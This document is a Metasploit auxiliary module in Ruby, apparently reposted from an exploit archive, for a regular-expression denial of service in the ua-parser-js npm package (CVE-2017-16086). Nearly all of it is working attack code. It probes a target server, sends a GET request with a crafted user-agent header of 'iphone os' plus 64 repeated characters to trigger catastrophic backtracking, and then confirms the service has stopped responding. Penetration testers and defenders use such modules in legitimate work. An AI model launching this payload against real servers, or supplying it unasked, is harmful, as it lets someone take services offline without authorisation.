ua-parser-js npm module ReDenial of Service

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Dos  
  
def initialize  
super(  
'Name' => 'ua-parser-js npm module ReDoS',  
'Description' => %q{  
This module exploits a Regular Expression Denial of Service vulnerability  
in the npm module "ua-parser-js". Server-side applications that use  
"ua-parser-js" for parsing the browser user-agent string will be vulnerable  
if they call the "getOS" or "getResult" functions. This vulnerability was  
fixed as of version 0.7.16.  
},  
'References' =>  
[  
['CVE', '2017-16086'],  
['URL', 'https://github.com/faisalman/ua-parser-js/commit/25e143ee7caba78c6405a57d1d06b19c1e8e2f79'],  
['CWE', '400'],  
],  
'Author' =>  
[  
'Ryan Knell, Sonatype Security Research',  
'Nick Starke, Sonatype Security Research',  
],  
'License' => MSF_LICENSE  
)  
  
register_options([  
Opt::RPORT(80)  
])  
end  
  
def run  
unless test_service  
fail_with(Failure::Unreachable, "#{peer} - Could not communicate with service.")  
else  
trigger_redos  
test_service_unresponsive  
end  
end  
  
def trigger_redos  
begin  
print_status("Sending ReDoS request to #{peer}.")  
  
res = send_request_cgi({  
'uri' => '/',  
'method' => 'GET',  
'headers' => {  
'user-agent' => 'iphone os ' + (Rex::Text.rand_text_alpha(1) * 64)  
}  
})  
  
if res.nil?  
print_status("No response received from #{peer}, service is most likely unresponsive.")  
else  
fail_with(Failure::Unknown, "ReDoS request unsuccessful. Received status #{res.code} from #{peer}.")  
end  
  
rescue ::Rex::ConnectionRefused  
print_error("Unable to connect to #{peer}.")  
rescue ::Timeout::Error  
print_status("No HTTP response received from #{peer}, this indicates the payload was successful.")  
end  
end  
  
def test_service_unresponsive  
begin  
print_status('Testing for service unresponsiveness.')  
  
res = send_request_cgi({  
'uri' => '/' + Rex::Text.rand_text_alpha(8),  
'method' => 'GET'  
})  
  
if res.nil?  
print_good('Service not responding.')  
else  
print_error('Service responded with a valid HTTP Response; ReDoS attack failed.')  
end  
rescue ::Rex::ConnectionRefused  
print_error('An unknown error occurred.')  
rescue ::Timeout::Error  
print_good('HTTP request timed out, most likely the ReDoS attack was successful.')  
end  
end  
  
def test_service  
begin  
print_status('Testing Service to make sure it is working.')  
  
res = send_request_cgi({  
'uri' => '/' + Rex::Text.rand_text_alpha(8),  
'method' => 'GET'  
})  
  
if !res.nil? && (res.code == 200 || res.code == 404)  
print_status('Test request successful, attempting to send payload')  
return true  
else  
return false  
end  
rescue ::Rex::ConnectionRefused  
print_error("Unable to connect to #{peer}.")  
return false  
end  
end  
end  
`